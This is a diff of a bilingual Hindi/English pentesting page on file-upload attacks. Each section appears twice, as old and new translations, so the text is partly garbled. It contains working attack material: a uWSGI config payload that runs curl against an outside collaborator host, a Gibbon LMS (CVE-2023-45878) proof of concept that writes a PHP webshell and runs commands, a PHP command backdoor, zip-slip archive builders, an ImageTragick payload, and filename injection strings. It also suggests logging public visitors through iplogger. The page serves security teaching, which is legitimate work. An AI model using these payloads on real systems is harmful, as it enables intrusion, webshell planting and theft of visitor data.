Remote Command Execution (RCE) vulnerabilities को uWSGI servers में तब एक्सप्लॉइट किया जा सकता है जब किसी को `.ini` configuration file को modify करने की क्षमता हो। uWSGI configuration files एक विशिष्ट syntax का उपयोग करते हैं जिसमें "magic" variables, placeholders, और operators शामिल होते हैं। विशेष रूप से, '@' operator, जिसका उपयोग `@(filename)` के रूप में होता है, किसी फाइल की सामग्री को include करने के लिए डिज़ाइन किया गया है। uWSGI में समर्थित विभिन्न schemes में से, "exec" scheme विशेष रूप से शक्तिशाली है, जो किसी process के standard output से डेटा पढ़ने की अनुमति देता है। यह फीचर तब दुरुपयोग किया जा सकता है जब किसी `.ini` configuration file को प्रोसेस किया जाए, जिससे Remote Command Execution या Arbitrary File Write/Read जैसे परिणाम सामने आ सकते हैं।
|
||||||
|
|
||||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
निम्नलिखित खतरनाक `uwsgi.ini` फ़ाइल के उदाहरण पर विचार करें, जो विभिन्न schemes दिखाती है:
|
||||||
```ini
|
```ini
|
||||||
[uwsgi]
|
[uwsgi]
|
||||||
; read from a symbol
|
; read from a symbol
|
||||||
@ -156,14 +156,54 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||||||
; call a function returning a char *
|
; call a function returning a char *
|
||||||
characters = @(call://uwsgi_func)
|
characters = @(call://uwsgi_func)
|
||||||
```
|
```
|
||||||
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
|
पेलोड का execution configuration file के parsing के दौरान होता है। Configuration को activate और parse होने के लिए, uWSGI process को या तो restart करना होगा (संभवतः crash के बाद या Denial of Service attack के कारण) या file को auto-reload पर सेट होना चाहिए। अगर auto-reload feature enabled है, तो changes detect होने पर यह निर्धारित intervals पर file को reload कर देता है।
|
||||||
|
|
||||||
यह समझना ज़रूरी है कि uWSGI की configuration file parsing काफी lax है। विशेष रूप से, चर्चा किया गया payload किसी binary file (जैसे image या PDF) में insert किया जा सकता है, जो संभावित exploitation की रेंज को और बढ़ा देता है।
|
यह समझना महत्वपूर्ण है कि uWSGI के configuration file parsing में lax व्यवहार है। विशेष रूप से, यहाँ चर्चा किए गए पेलोड को किसी binary file (जैसे image या PDF) में insert किया जा सकता है, जिससे संभावित exploitation की सीमा और बढ़ जाती है।
|
||||||
|
|
||||||
## **wget File Upload/SSRF ट्रिक**
|
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
|
||||||
|
|
||||||
कभी-कभी आप पाएंगे कि server **`wget`** का उपयोग **download files** करने के लिए कर रहा है और आप **URL** indicate कर सकते हैं। ऐसे मामलों में, कोड यह जाँच कर सकता है कि downloaded files के extension एक whitelist में हैं ताकि केवल allowed files ही download हों। हालाँकि, **इस check को bypass किया जा सकता है.**\
|
Gibbon LMS में एक unauthenticated endpoint web root के अंदर arbitrary file write की अनुमति देता है, जिससे PHP file डालकर pre-auth RCE हो सकता है। Vulnerable versions: up to and including 25.0.01.
|
||||||
Linux में एक **filename** की **maximum** length **255** है, हालांकि **wget** filenames को **236** characters तक truncate कर देता है। आप **download a file called "A"\*232+".php"+".gif"** कर सकते हैं, यह filename **check** को **bypass** कर देगा (जैसा कि इस उदाहरण में **".gif"** एक **valid** extension है) लेकिन `wget` फ़ाइल का **rename** कर देगा और इसे **"A"\*232+".php"** नाम दे देगा।
|
|
||||||
|
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
|
||||||
|
- Method: POST
|
||||||
|
- Required params:
|
||||||
|
- `img`: data-URI-like string: `[mime];[name],[base64]` (server type/name को ignore करता है, tail को base64-decode करता है)
|
||||||
|
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
|
||||||
|
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
|
||||||
|
|
||||||
|
Minimal PoC to write and read back a file:
|
||||||
|
```bash
|
||||||
|
# Prepare test payload
|
||||||
|
printf '0xdf was here!' | base64
|
||||||
|
# => MHhkZiB3YXMgaGVyZSEK
|
||||||
|
|
||||||
|
# Write poc.php via unauth POST
|
||||||
|
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||||
|
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
|
||||||
|
|
||||||
|
# Verify write
|
||||||
|
curl http://target/Gibbon-LMS/poc.php
|
||||||
|
```
|
||||||
|
एक न्यूनतम webshell डालें और कमांड्स निष्पादित करें:
|
||||||
|
```bash
|
||||||
|
# '<?php system($_GET["cmd"]); ?>' base64
|
||||||
|
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
|
||||||
|
|
||||||
|
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||||
|
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
|
||||||
|
|
||||||
|
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
|
||||||
|
```
|
||||||
|
नोट्स:
|
||||||
|
- हैंडलर `;` और `,` द्वारा split करने के बाद `base64_decode($_POST["img"])` चलाता है, फिर extension/type सत्यापित किए बिना बाइट्स को `$absolutePath . '/' . $_POST['path']` पर लिखता है।
|
||||||
|
- परिणामी कोड वेब सर्विस उपयोगकर्ता के रूप में चलता है (उदा., XAMPP Apache on Windows).
|
||||||
|
|
||||||
|
इस बग के संदर्भ में usd HeroLab advisory और NVD entry शामिल हैं। नीचे References सेक्शन देखें।
|
||||||
|
|
||||||
|
## **wget File Upload/SSRF Trick**
|
||||||
|
|
||||||
|
कुछ मामलों में आप पाएंगे कि सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** बता सकते हैं। ऐसे मामलों में, कोड यह जाँच कर सकता है कि डाउनलोड की गई फ़ाइलों का extension whitelist के अंदर है ताकि केवल अनुमत फाइलें ही डाउनलोड हों। हालांकि, **इस जाँच को बायपास किया जा सकता है।**\
|
||||||
|
**linux** में एक **filename** की **maximum** लंबाई **255** है, हालांकि, **wget** फाइलनामों को **236** characters तक truncate कर देता है। आप **download a file called "A"*232+".php"+".gif"** कर सकते हैं — यह filename **check** को **bypass** कर देगा (इस उदाहरण में **".gif"** एक **valid** extension है) लेकिन `wget` फ़ाइल का नाम बदलकर **"A"*232+".php"** कर देगा।
|
||||||
```bash
|
```bash
|
||||||
#Create file and HTTP server
|
#Create file and HTTP server
|
||||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||||
@ -188,31 +228,31 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||||||
```
|
```
|
||||||
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
||||||
|
|
||||||
## टूल्स
|
## Tools
|
||||||
|
|
||||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) एक शक्तिशाली टूल है जो Pentesters और Bug Hunters को file upload mechanisms की परीक्षण करने में मदद करने के लिए डिज़ाइन किया गया है। यह विभिन्न bug bounty techniques का उपयोग करके vulnerabilities की पहचान और exploit करने की प्रक्रिया को सरल बनाता है, जिससे web applications का thorough assessment सुनिश्चित होता है।
|
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
|
||||||
|
|
||||||
### Corrupting upload indices with snprintf quirks (historical)
|
### Corrupting upload indices with snprintf quirks (historical)
|
||||||
|
|
||||||
कुछ legacy upload handlers जो `snprintf()` या समान तरीकों का उपयोग करके single-file upload से multi-file arrays बनाते हैं, उन्हें `_FILES` structure को forge करने के लिए trick किया जा सकता है। `snprintf()` के inconsistent और truncation व्यवहार के कारण, सावधानीपूर्वक बनाया गया एक single upload सर्वर साइड पर कई indexed files के रूप में दिखाई दे सकता है, जिससे वह logic भ्रमित हो जाता है जो strict shape मानता है (जैसे, इसे multi-file upload मानकर unsafe branches पर जाना)। हालांकि आज के समय में यह niche है, यह “index corruption” pattern कभी-कभी CTFs और पुराने codebases में फिर से दिखाई देता है।
|
कुछ legacy upload handlers जो `snprintf()` या इसी तरह के functions का उपयोग single-file upload से multi-file arrays बनाने के लिए करते हैं, उन्हें `_FILES` structure कोforge करने के लिए trick किया जा सकता है। `snprintf()` के व्यवहार में inconsistencies और truncation के कारण, ध्यानपूर्वक बनाया गया एक single upload सर्वर साइड पर multiple indexed files के रूप में दिखाई दे सकता है, जिससे उस logic में confusion पैदा हो सकती है जो एक strict shape मानती है (उदाहरण के लिए, इसे multi-file upload समझ कर unsafe branches पर जाना)। आज के समय में यह पैटर्न niche है, लेकिन यह “index corruption” pattern कभी-कभार CTFs और पुराने codebases में फिर से उभरता है।
|
||||||
|
|
||||||
## File upload से अन्य कमजोरियाँ
|
## From File upload to other vulnerabilities
|
||||||
|
|
||||||
- **filename** को `../../../tmp/lol.png` सेट करें और **path traversal** हासिल करने की कोशिश करें
|
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||||
- **filename** को `sleep(10)-- -.jpg` सेट करें और आप **SQL injection** करने में सक्षम हो सकते हैं
|
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
||||||
- **filename** को `<svg onload=alert(document.domain)>` सेट करें ताकि **XSS** प्राप्त हो सके
|
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
|
||||||
- **filename** को `; sleep 10;` सेट करके कुछ **command injection** की जाँच करें (और [command injections tricks here](../command-injection.md))
|
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
|
||||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||||
- यदि आप web server को किसी URL से image पकड़ने के लिए निर्देशित कर सकते हैं तो आप [SSRF](../ssrf-server-side-request-forgery/index.html) का दुरुपयोग आज़मा सकते हैं। यदि यह **image** किसी **public** साइट पर **saved** होने वाली है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) जैसे URL का संकेत दे सकते हैं और हर विज़िटर की जानकारी चुरा सकते हैं।
|
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). यदि आप PDFs upload कर सकते हैं तो आप कुछ ऐसा PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार arbitrary JS execute करे।
|
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||||
- फाइल अपलोड करते समय कोई **size limit** है या नहीं जाँचें
|
- Check if there is any **size limit** uploading files
|
||||||
|
|
||||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||||
|
|
||||||
@ -239,39 +279,40 @@ https://github.com/portswigger/upload-scanner
|
|||||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||||
- **JPG**: `"\xff\xd8\xff"`
|
- **JPG**: `"\xff\xd8\xff"`
|
||||||
|
|
||||||
अन्य filetypes के लिए देखें [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)।
|
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||||
|
|
||||||
## Zip/Tar फ़ाइल जो सर्वर पर स्वतः अनपैक होती है
|
## Zip/Tar File Automatically decompressed Upload
|
||||||
|
|
||||||
यदि आप ऐसा ZIP upload कर सकते हैं जो सर्वर के अंदर decompressed किया जाएगा, तो आप 2 चीज़ें कर सकते हैं:
|
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
||||||
|
|
||||||
### Symlink
|
### Symlink
|
||||||
|
|
||||||
ऐसी link upload करें जिसमें अन्य फ़ाइलों के soft links हों, फिर decompressed फाइलों तक पहुँचने पर आप linked files को access कर सकेंगे:
|
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
|
||||||
```
|
```
|
||||||
ln -s ../../../index.php symindex.txt
|
ln -s ../../../index.php symindex.txt
|
||||||
zip --symlinks test.zip symindex.txt
|
zip --symlinks test.zip symindex.txt
|
||||||
tar -cvf test.tar symindex.txt
|
tar -cvf test.tar symindex.txt
|
||||||
```
|
```
|
||||||
### विभिन्न फ़ोल्डरों में डीकम्प्रेस करें
|
### Decompress in different folders
|
||||||
|
|
||||||
डीकम्प्रेशन के दौरान डायरेक्टरीज़ में फ़ाइलों का अनपेक्षित निर्माण एक गंभीर समस्या है। शुरुआती अनुमान यह हो सकता है कि यह सेटअप मैलिशियस फ़ाइल अपलोड के जरिए OS-level command execution से सुरक्षा करेगा, लेकिन ZIP archive format का hierarchical compression support और directory traversal क्षमताएँ दुरुपयोग की जा सकती हैं। इससे attackers प्रतिबंधों को बायपास कर सुरक्षित upload directories से निकल सकते हैं, बस लक्ष्य एप्लिकेशन की decompression functionality को manipulate करके।
|
विसंपीड़न के दौरान निर्देशिकाओं में फाइलों का अनपेक्षित निर्माण एक महत्वपूर्ण समस्या है। शुरुआती धारणा के बावजूद कि यह सेटअप malicious file uploads के जरिए OS-level command execution से सुरक्षा प्रदान कर सकता है, hierarchical compression support और ZIP archive format की directory traversal क्षमताओं का दुरुपयोग किया जा सकता है। इससे हमलावर प्रतिबंधों को बायपास करके लक्षित एप्लिकेशन की decompression functionality को manipulate करके secure upload directories से बाहर निकल सकते हैं।
|
||||||
|
|
||||||
ऐसे फ़ाइलें बनाने के लिए एक automated exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। इस utility का उपयोग निम्नानुसार किया जा सकता है:
|
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
|
||||||
```python
|
```python
|
||||||
# Listing available options
|
# Listing available options
|
||||||
python2 evilarc.py -h
|
python2 evilarc.py -h
|
||||||
# Creating a malicious archive
|
# Creating a malicious archive
|
||||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||||
```
|
```
|
||||||
इसके अतिरिक्त, **symlink trick with evilarc** एक विकल्प है। यदि उद्देश्य `/flag.txt` जैसी फ़ाइल को निशाना बनाना है, तो उस फ़ाइल का symlink आपके सिस्टम में बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc को इसके संचालन के दौरान त्रुटियाँ नहीं होंगी।
|
इसके अतिरिक्त, **symlink trick with evilarc** एक विकल्प है। यदि लक्ष्य `/flag.txt` जैसी किसी फ़ाइल को निशाना बनाना है, तो उस फ़ाइल के लिए अपने सिस्टम में एक symlink बनाना चाहिए। यह सुनिश्चित करता है कि evilarc को अपने संचालन के दौरान त्रुटियाँ न हों।
|
||||||
|
|
||||||
नीचे एक उदाहरण दिया गया है Python code का, जो एक malicious zip file बनाने के लिए उपयोग किया जाता है:
|
नीचे Python कोड का एक उदाहरण है जो एक हानिकारक zip फ़ाइल बनाने के लिए उपयोग किया जाता है:
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
import zipfile
|
import zipfile
|
||||||
from io import BytesIO
|
from io import BytesIO
|
||||||
|
|
||||||
|
|
||||||
def create_zip():
|
def create_zip():
|
||||||
f = BytesIO()
|
f = BytesIO()
|
||||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||||
@ -288,7 +329,7 @@ create_zip()
|
|||||||
|
|
||||||
अधिक जानकारी के लिए **मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
अधिक जानकारी के लिए **मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||||
|
|
||||||
1. **Creating a PHP Shell**: PHP कोड उन कमांड्स को निष्पादित करने के लिए लिखा गया है जो `$_REQUEST` वेरिएबल के माध्यम से पास किए जाते हैं।
|
1. **Creating a PHP Shell**: PHP code लिखा जाता है ताकि `$_REQUEST` वेरिएबल के माध्यम से पास किए गए कमांड्स को execute किया जा सके।
|
||||||
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
@ -298,24 +339,24 @@ system($cmd);
|
|||||||
}?>
|
}?>
|
||||||
```
|
```
|
||||||
|
|
||||||
2. **File Spraying and Compressed File Creation**: कई फाइलें बनाई जाती हैं और इन फाइलों को शामिल करते हुए एक zip आर्काइव तैयार किया जाता है।
|
2. **File Spraying and Compressed File Creation**: कई फाइलें बनाई जाती हैं और इन फ़ाइलों को शामिल करके एक zip archive बनाया जाता है।
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||||
```
|
```
|
||||||
|
|
||||||
3. **Modification with a Hex Editor or vi**: zip के अंदर की फाइलों के नाम vi या hex editor का उपयोग करके बदल दिए जाते हैं, "xxA" को "../" में बदलकर directory traversal किया जाता है।
|
3. **Modification with a Hex Editor or vi**: zip के अंदर की फाइलों के नाम vi या hex editor का उपयोग कर बदल दिए जाते हैं, "xxA" को "../" में बदलकर डायरेक्टरी traversal किया जाता है।
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
:set modifiable
|
:set modifiable
|
||||||
:%s/xxA/..\//g
|
:%s/xxA/../g
|
||||||
:x!
|
:x!
|
||||||
```
|
```
|
||||||
|
|
||||||
## ImageTragic
|
## ImageTragic
|
||||||
|
|
||||||
इस सामग्री को image extension के साथ अपलोड करें ताकि vulnerability **(ImageMagick , 7.0.1-1)** का exploit किया जा सके (exploit देखें: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
|
इस सामग्री को image extension के साथ upload करें ताकि इस vulnerability का exploit किया जा सके **(ImageMagick , 7.0.1-1)** (from the [exploit](https://www.exploit-db.com/exploits/39767))
|
||||||
```
|
```
|
||||||
push graphic-context
|
push graphic-context
|
||||||
viewbox 0 0 640 480
|
viewbox 0 0 640 480
|
||||||
@ -324,31 +365,31 @@ pop graphic-context
|
|||||||
```
|
```
|
||||||
## PNG पर PHP Shell एम्बेड करना
|
## PNG पर PHP Shell एम्बेड करना
|
||||||
|
|
||||||
PNG फ़ाइल के IDAT चंक में एक PHP shell एम्बेड करने से कुछ image processing ऑपरेशन्स को प्रभावी रूप से बायपास किया जा सकता है। PHP-GD के `imagecopyresized` और `imagecopyresampled` फ़ंक्शंस इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि वे आमतौर पर क्रमशः इमेज को resize और resample करने के लिए उपयोग किए जाते हैं। इन ऑपरेशन्स से अप्रभावित रहने की क्षमता एम्बेडेड PHP shell के कुछ उपयोग मामलों में महत्वपूर्ण लाभ है।
|
PNG फ़ाइल के IDAT chunk में PHP shell एम्बेड करने से कुछ image processing operations को प्रभावी ढंग से बायपास किया जा सकता है। PHP-GD की `imagecopyresized` और `imagecopyresampled` फ़ंक्शन इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें आमतौर पर images को resizing और resampling के लिए उपयोग किया जाता है। एम्बेड किया गया PHP shell इन ऑपरेशनों से अप्रभावित रहने की क्षमता कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।
|
||||||
|
|
||||||
इस तकनीक का विस्तृत विश्लेषण, जिसमें इसकी methodology और संभावित applications शामिल हैं, निम्नलिखित लेख में दिया गया है: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). यह संसाधन प्रक्रिया और इसके implications की व्यापक समझ प्रदान करता है।
|
इस तकनीक का विस्तृत अन्वेषण, उसकी कार्यप्रणाली और संभावित उपयोगों सहित, निम्न लेख में दिया गया है: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). यह संसाधन इस प्रक्रिया और इसके प्रभावों की व्यापक समझ प्रदान करता है।
|
||||||
|
|
||||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
अधिक जानकारी: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
|
|
||||||
## Polyglot Files
|
## Polyglot फ़ाइलें
|
||||||
|
|
||||||
Polyglot files साइबर सुरक्षा में एक अनोखा उपकरण हैं, जो chameleons की तरह काम करते हैं और एक साथ कई file formats में वैध रूप से मौजूद हो सकते हैं। एक दिलचस्प उदाहरण है [GIFAR](https://en.wikipedia.org/wiki/Gifar), एक hybrid जो GIF और RAR archive दोनों के रूप में कार्य करता है। ऐसे फाइल्स सिर्फ इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
|
Polyglot फ़ाइलें साइबरसुरक्षा में एक अनूठा साधन हैं, जो चेमेलियन की तरह काम करती हैं और एक साथ कई फ़ाइल फ़ॉर्मैट्स में वैध रूप से मौजूद रह सकती हैं। एक रोचक उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है और एक साथ GIF और RAR archive की तरह काम करता है। ये फ़ाइलें केवल इसी जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसी संयोजन भी संभव हैं।
|
||||||
|
|
||||||
Polyglot files की मुख्य उपयोगिता यह है कि वे उन security measures को बायपास कर सकते हैं जो फाइल्स को उनके type के आधार पर स्क्रीन करते हैं। कई applications में सिर्फ कुछ file types को upload की अनुमति दी जाती है—जैसे JPEG, GIF, या DOC—ताकि संभावित खतरनाक formats (जैसे JS, PHP, या Phar files) से सुरक्षा की जा सके। हालांकि, एक polyglot, कई file types की structural criteria को पूरा करके, इन प्रतिबंधों को चुपके से बायपास कर सकता है।
|
Polyglot फ़ाइलों की मुख्य उपयोगिता यह है कि वे उन सुरक्षा उपायों को बायपास कर सकती हैं जो फ़ाइल प्रकार के आधार पर फ़ाइलों की स्क्रीनिंग करते हैं। कई एप्लिकेशन में केवल कुछ फ़ाइल प्रकारों (जैसे JPEG, GIF, या DOC) को upload करने की अनुमति दी जाती है ताकि संभावित हानिकारक फ़ॉर्मैट्स (जैसे JS, PHP, या Phar files) के जोखिम को कम किया जा सके। हालांकि, एक polyglot, कई फ़ाइल प्रकारों की संरचनात्मक आवश्यकताओं के अनुरूप होकर, इन प्रतिबंधों को चुपके से बायपास कर सकता है।
|
||||||
|
|
||||||
फिर भी, polyglots के कुछ limitations होते हैं। उदाहरण के लिए, जबकि एक polyglot एक साथ PHAR file (PHp ARchive) और एक JPEG दोनों हो सकता है, उसकी upload सफलता प्लेटफ़ॉर्म की file extension नीतियों पर निर्भर कर सकती है। अगर सिस्टम अनुमेय extensions के बारे में कड़ा है, तो polyglot की structural duality अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती।
|
फिर भी, polyglots को सीमाएँ मिलती हैं। उदाहरण के लिए, जबकि एक polyglot एक साथ PHAR file (PHp ARchive) और JPEG दोनों का रूप धारण कर सकता है, उसकी upload की सफलता प्लेटफ़ॉर्म की file extension नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशन के प्रति सख्त है, तो polyglot की केवल संरचनात्मक द्वैतता उसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती।
|
||||||
|
|
||||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
अधिक जानकारी: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
|
|
||||||
### Upload valid JSONs जैसे कि यह PDF हो
|
### यदि PDF जैसा बनाकर वैध JSON अपलोड करना
|
||||||
|
|
||||||
कैसे file type detections से बचें जब आप एक valid JSON फ़ाइल upload करना चाहते हैं भले ही अनुमति न हो, इसे एक fake PDF फ़ाइल दिखाकर (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
कैसे फाइल टाइप डिटेक्शन से बचें: वैध JSON फ़ाइल अपलोड करके, भले ही अनुमति न हो, उसे PDF फ़ाइल बनाकर फेक करके (तकनीकें **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** से):
|
||||||
|
|
||||||
- **`mmmagic` library**: जब तक `%PDF` magic bytes पहले 1024 bytes में मौजूद हों यह valid माना जाता है (पोस्ट से उदाहरण लें)
|
- **`mmmagic` library**: यदि `%PDF` magic bytes पहले 1024 bytes में हैं तो इसे वैध माना जाता है (उदाहरण के लिए पोस्ट देखें)
|
||||||
- **`pdflib` library**: JSON के एक field के अंदर एक fake PDF format जोड़ें ताकि library इसे pdf समझे (पोस्ट से उदाहरण लें)
|
- **`pdflib` library**: JSON के एक field के अंदर एक फेक PDF format डालें ताकि library इसे pdf समझ ले (उदाहरण के लिए पोस्ट देखें)
|
||||||
- **`file` binary**: यह एक फ़ाइल से 1048576 bytes तक पढ़ सकता है। बस JSON को इससे बड़ा बनाएं ताकि यह content को json के रूप में पार्स न कर सके और फिर JSON के अंदर वास्तविक PDF का प्रारम्भिक हिस्सा डाल दें और यह इसे PDF समझ लेगा
|
- **`file` binary**: यह एक फ़ाइल से 1048576 bytes तक पढ़ सकता है। बस JSON को इससे बड़ा बना दें ताकि यह सामग्री को json के रूप में पार्स न कर सके और फिर JSON के अंदर असली PDF का प्रारंभिक हिस्सा डाल दें और यह इसे PDF समझ लेगा
|
||||||
|
|
||||||
## संदर्भ
|
## References
|
||||||
|
|
||||||
